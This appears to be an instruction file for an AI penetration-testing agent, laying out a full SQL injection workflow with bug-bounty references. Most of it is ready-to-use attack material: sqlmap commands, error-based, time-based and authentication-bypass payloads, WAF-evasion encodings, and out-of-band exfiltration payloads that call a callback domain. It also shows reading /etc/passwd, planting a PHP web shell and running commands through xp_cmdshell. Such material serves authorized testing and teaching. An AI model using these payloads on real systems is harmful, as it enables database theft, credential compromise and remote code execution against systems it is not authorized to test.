# ATTACK SKILL: SQL INJECTION EXPLOITATION

## Overview
Comprehensive SQL injection attack workflow covering detection, WAF bypass, data exfiltration, OOB techniques, and post-exploitation using SQLMap and manual techniques.

## Tools Available
- **kali_shell** - Execute SQLMap, interactsh-client, and other CLI tools
- **execute_curl** - HTTP requests for manual injection testing
- **execute_code** - Custom payload generation scripts

---

## REAL-WORLD HACKERONE REFERENCES

### SQLi with WAF Bypass
| Report | Target | Technique | Bounty |
|--------|--------|-----------|--------|
| [#258582](https://hackerone.com/reports/258582) | Zomato | Union SQLi + WAF bypass | $1,000 |
| [#549355](https://hackerone.com/reports/549355) | Starbucks | Blind SQLi + WAF bypass | - |
| [#577612](https://hackerone.com/reports/577612) | U.S. DoD | MSSQL injection via param | - |
| [#1878584](https://hackerone.com/reports/1878584) | U.S. State Dept | Time-based SQLi | - |
| [#383127](https://hackerone.com/reports/383127) | Valve | SQLi in report_xml.php | - |

### High-Impact SQLi Reports (Top Upvoted)
| Report | Target | Impact | Bounty |
|--------|--------|--------|--------|
| - | Starbucks | Blind SQLi + WAF bypass (208 upvotes) | $0 |
| - | Grab | SQL injection (199 upvotes) | $4,500 |
| - | inDrive | Blind SQLi (188 upvotes) | $4,134 |
| - | Mail.ru | Union SQLi (156 upvotes) | $7,500 |

### Recent CVEs via HackerOne
| CVE | Target | Impact | Bounty |
|-----|--------|--------|--------|
| CVE-2024-53908 | Django | HasKey SQLi on Oracle | - |
| CVE-2024-42005 | Django | QuerySet.values() SQLi | $4,263 |

---

## PHASE 1: DETECTION & FINGERPRINTING

### 1.1 Basic SQLi Testing
1. Test with single quote (`'`), double quote (`"`), and comment sequences
2. Check for error-based indicators in response (MySQL, MSSQL, PostgreSQL, Oracle errors)
3. Test time-based blind: `' AND SLEEP(5)--` or `'; WAITFOR DELAY '0:0:5'--`
4. Identify DBMS type from error messages or behavior differences
5. Check for WAF presence (403/406 responses, generic error pages)

### 1.2 SQLMap Basic Scan
```bash
# Basic detection
sqlmap -u "http://target/page?id=1" --batch --dbs

# With increased level/risk
sqlmap -u "http://target/page?id=1" --batch --level=5 --risk=3 --dbs

# POST request
sqlmap -u "http://target/page" --data="user=test&pass=test" --batch --dbs
```

### Captured-traffic workflow (proxy_brain tools)

When HTTP Traffic Capture is enabled, seed manual detection from real requests. redamon.params surfaces distinct params with an injectability heuristic, and redamon.fuzz rotates the boolean and WAF-bypass encoding matrix over one query param (per-payload status/length seeds boolean detection). redamon.replay places payloads in headers, cookies, or the body when the injection point is not a query param. redamon.to_curl or redamon.get emits the raw captured request so sqlmap can run against it with `-r`. Where the proxy stops: the exploitation/dump engine is sqlmap; time-based and OOB exfiltration are beyond a per-payload status/length view.

---

## PHASE 2: INJECTION TYPE CLASSIFICATION

| Type | Description | Detection |
|------|-------------|-----------|
| **Error-based** | Visible SQL errors in response | SQL syntax errors in HTML |
| **Union-based** | Can append UNION SELECT to extract data | Different response with UNION |
| **Blind Boolean** | True/false conditions affect response | Response length/content changes |
| **Blind Time-based** | Time delays indicate true/false | Response time varies |
| **Out-of-Band (OOB)** | DNS/HTTP callbacks for data exfiltration | External callback received |

---

## PHASE 3: WAF BYPASS TECHNIQUES

### 3.1 Encoding Strategies

| Encoding | Example |
|----------|---------|
| **Hex** | `' OR 1=1--` -> `0x27204F5220313D312D2D` |
| **Unicode** | `'` -> `%u0027` or `%u02bc` |
| **CHAR()** | `'` -> `CHAR(39)` (MySQL), `CHR(39)` (Oracle/PostgreSQL) |
| **Comment Obfuscation** | `SELECT` -> `S/**/E/**/L/**/E/**/C/**/T` |
| **Case Variation** | `SELECT` -> `sElEcT` |
| **Double Encoding** | `'` -> `%2527` |
| **Null Bytes** | `%00'` or `'%00` |

### 3.2 Syntax Alternatives
```
AND  -> &&  or  %26%26
OR   -> ||  or  %7c%7c
Space -> /**/ or %0a or %09 or +
=    -> LIKE or REGEXP or RLIKE
SELECT -> /*!50000SELECT*/ (MySQL version comment)
Quotes -> Hex strings or CHAR()
```

### 3.3 SQLMap Tamper Scripts
```bash
# Most effective for WAF bypass
sqlmap -u "http://target/page?id=1" --batch \
  --tamper=space2comment,randomcase,charencode --dbs

# Available tampers:
# space2comment - Replace spaces with comments
# between - Replace > with NOT BETWEEN 0 AND
# randomcase - Random case for keywords
# charencode - URL encode all characters
# equaltolike - Replace = with LIKE
# modsecurityversioned - ModSecurity bypass
# versionedkeywords - MySQL versioned comments
# space2mssqlblank - MSSQL-specific space bypass
```

---

## PHASE 4: EXPLOITATION

### 4.1 Union-based Exploitation
```bash
# Determine column count
sqlmap -u "http://target/page?id=1" --batch --union-cols=1-20

# Extract data
sqlmap -u "http://target/page?id=1" --batch -D database_name -T users --dump
```

### 4.2 Error-based Payloads

**MySQL:**
```sql
' AND EXTRACTVALUE(1,CONCAT(0x7e,version(),0x7e))--
' AND UPDATEXML(1,CONCAT(0x7e,version(),0x7e),1)--
```

**MSSQL:**
```sql
' AND 1=CONVERT(int,@@version)--
```

**Oracle:**
```sql
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE ROWNUM=1))--
```

### 4.3 Time-based Blind Payloads

**MySQL:**
```sql
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
' AND BENCHMARK(10000000,SHA1('test'))--
```

**MSSQL:**
```sql
'; WAITFOR DELAY '0:0:5'--
'; IF (1=1) WAITFOR DELAY '0:0:5'--
```

**PostgreSQL:**
```sql
'; SELECT pg_sleep(5)--
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
```

**Oracle:**
```sql
' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1--
```

---

## PHASE 5: OUT-OF-BAND (OOB) TECHNIQUES

### 5.1 When to Use OOB
- Blind injection with no visible output
- Time-based too slow or unreliable
- Need to exfiltrate data without visible response
- WAF blocks traditional techniques

### 5.2 Setup Interactsh Callback
```bash
# Start interactsh client
interactsh-client -v
# Note the generated domain (e.g., abc123def456.oast.fun)
```

### 5.3 OOB Payloads by DBMS

**MySQL (Windows only - UNC path):**
```sql
' AND LOAD_FILE(CONCAT('\\\\',version(),'.YOUR_ID.oast.fun\\a'))--
' UNION SELECT LOAD_FILE(CONCAT('\\\\',user(),'.YOUR_ID.oast.fun\\a'))--
```

**MSSQL (xp_dirtree - most reliable):**
```sql
'; EXEC master..xp_dirtree '\\YOUR_ID.oast.fun\a'--
'; EXEC master..xp_subdirs '\\YOUR_ID.oast.fun\a'--
```

**Oracle (UTL_HTTP):**
```sql
' AND UTL_HTTP.REQUEST('http://'||user||'.YOUR_ID.oast.fun/')=1--
```

**PostgreSQL (dblink):**
```sql
'; CREATE EXTENSION IF NOT EXISTS dblink; SELECT dblink_connect('host=YOUR_ID.oast.fun')--
```

### 5.4 SQLMap with DNS Exfiltration
```bash
sqlmap --dns-domain=YOUR_ID.oast.fun -u "http://target/page?id=1" --batch --dbs
```

---

## PHASE 6: AUTHENTICATION BYPASS

### 6.1 Universal Bypass Payloads
```sql
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
' OR 1=1--
' OR 1=1#
admin'--
admin' #
admin'/*
' OR 'x'='x
') OR ('1'='1
')) OR (('1'='1
1' OR '1'='1' -- -
```

### 6.2 Username Field Injection
```sql
admin'--
admin' OR '1'='1
' UNION SELECT 'admin','password'--
```

### 6.3 Second-Order Injection
Register with payload as username, trigger on login:
```sql
admin'--  (register this as username)
```

### 6.4 NoSQL Injection (MongoDB)
```json
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
```

---

## PHASE 7: DATA EXTRACTION

### 7.1 Priority Targets

| Target | MySQL | MSSQL | PostgreSQL | Oracle |
|--------|-------|-------|------------|--------|
| Version | `@@version` | `@@version` | `version()` | `v$version` |
| User | `user()` | `SYSTEM_USER` | `current_user` | `USER` |
| Database | `database()` | `DB_NAME()` | `current_database()` | `SYS.DATABASE_NAME` |

### 7.2 Table Enumeration
```sql
-- MySQL/MSSQL/PostgreSQL
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- Oracle
SELECT table_name FROM all_tables WHERE owner='SCHEMA_NAME'
```

### 7.3 Column Enumeration
```sql
-- MySQL/MSSQL/PostgreSQL
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
```

---

## PHASE 8: POST-EXPLOITATION

### 8.1 File System Access

**MySQL - File Read:**
```sql
' UNION SELECT LOAD_FILE('/etc/passwd')--
```

**MySQL - File Write (requires FILE privilege):**
```sql
' UNION SELECT 'data' INTO OUTFILE '/var/www/html/test.txt'--
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--
```

### 8.2 Command Execution

**MSSQL (xp_cmdshell):**
```sql
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
'; EXEC xp_cmdshell 'whoami';--
```

**PostgreSQL (COPY):**
```sql
'; COPY (SELECT '') TO PROGRAM 'whoami';--
```

### 8.3 Privilege Escalation

**MySQL - Check Privileges:**
```sql
' UNION SELECT privilege_type FROM information_schema.user_privileges--
' UNION SELECT grantee,privilege_type FROM information_schema.user_privileges--
```

**MSSQL - Check Role:**
```sql
' UNION SELECT IS_SRVROLEMEMBER('sysadmin')--
' UNION SELECT name FROM master.sys.server_principals WHERE type='R'--
```

### 8.4 Data Exfiltration Strategies
1. **Direct dump**: Use UNION SELECT to dump tables directly
2. **DNS exfiltration**: Exfiltrate data as DNS subdomain via OOB
3. **HTTP exfiltration**: Send data to callback server via HTTP request
4. **File write**: Write data to accessible web directory
5. **Error-based**: Extract data through error messages

---

## FAILURE HANDLING

| Issue | Cause | Solution |
|-------|-------|----------|
| No errors visible | Error suppression | Try blind techniques |
| WAF blocking | Pattern matching | Use tamper scripts |
| Time delays unreliable | Network latency | Use OOB techniques |
| UNION blocked | Keyword filter | Use inline comments |
| Quotes filtered | Input sanitization | Use hex encoding |

---

## ADVANCED WAF BYPASS TECHNIQUES (2024-2025)

### 1. JSON-based Bypass
```sql
-- Prefix with JSON syntax to bypass WAF
{"id": "1 AND 1=1"}
{"id": "1' OR '1'='1"}

-- JSON function abuse (MySQL 5.7+)
' AND JSON_EXTRACT('{"a":1}','$.a')=1--
```

### 2. HTTP Parameter Pollution
```bash
# Send duplicate parameters - WAF checks first, app uses last
curl "https://target.com/page?id=1&id=1' OR '1'='1"
curl "https://target.com/page?id=1,1' OR '1'='1"
```

### 3. Header-based Injection
```bash
# Inject via headers (sometimes bypasses WAF)
curl "https://target.com" -H "X-Forwarded-For: 1' OR '1'='1"
curl "https://target.com" -H "User-Agent: 1' OR '1'='1"
curl "https://target.com" -H "Referer: 1' OR '1'='1"
```

### 4. Chunked Transfer Encoding
```bash
# Split payload across chunks
curl -X POST "https://target.com/page" \
  -H "Transfer-Encoding: chunked" \
  -d $'7\r\nid=1' O\r\n5\r\nR '1'\r\n4\r\n='1'\r\n0\r\n\r\n'
```

### 5. MySQL Version Comment Bypass
```sql
-- MySQL executes code inside version comments if version matches
/*!50000SELECT*/ * FROM users
/*!50000UNION*/ /*!50000SELECT*/ 1,2,3
' /*!50000AND*/ 1=1--
```

### 6. Scientific Notation Bypass
```sql
-- Bypass numeric filters
1e0UNION SELECT 1,2,3
1.0UNION SELECT 1,2,3
```

### 7. Unicode/Encoding Tricks
```sql
-- Unicode normalization bypass
%EF%BC%87 (fullwidth apostrophe → ')
%u0027 (unicode apostrophe)

-- Double URL encoding
%2527 → %27 → '

-- Overlong UTF-8
%c0%27 → '
```

### 8. Whitespace Alternatives
```sql
-- Replace spaces with:
/**/  -- MySQL/MSSQL
%09   -- Tab
%0a   -- Newline
%0d   -- Carriage return
%0b   -- Vertical tab
%0c   -- Form feed
%a0   -- Non-breaking space
+     -- Plus (URL encoded space)
```

### 9. Keyword Alternatives
```sql
-- UNION alternatives
UNION DISTINCT
UNION ALL

-- SELECT alternatives
SELECT DISTINCT
(SELECT ...)

-- AND/OR alternatives
&&  -- AND
||  -- OR
```

### 10. Function-based Bypasses
```sql
-- MySQL
MID() instead of SUBSTRING()
LCASE() instead of LOWER()
UCASE() instead of UPPER()
ORD() instead of ASCII()

-- Concatenation alternatives
CONCAT('a','b')
CONCAT_WS('','a','b')
'a' 'b' (MySQL implicit concat)
```

---

## OUTPUT FORMAT

Report findings with:
- **Vulnerability type**: Error-based/Union/Blind/OOB
- **Affected parameter**: The injectable input
- **DBMS identified**: MySQL/MSSQL/PostgreSQL/Oracle
- **Injection point**: URL param/POST data/Header/Cookie
- **Data extracted**: Databases, tables, credentials
- **Privilege level**: Current DB user privileges
- **RCE potential**: File read/write, command execution
- **Remediation**: Parameterized queries, input validation, least privilege
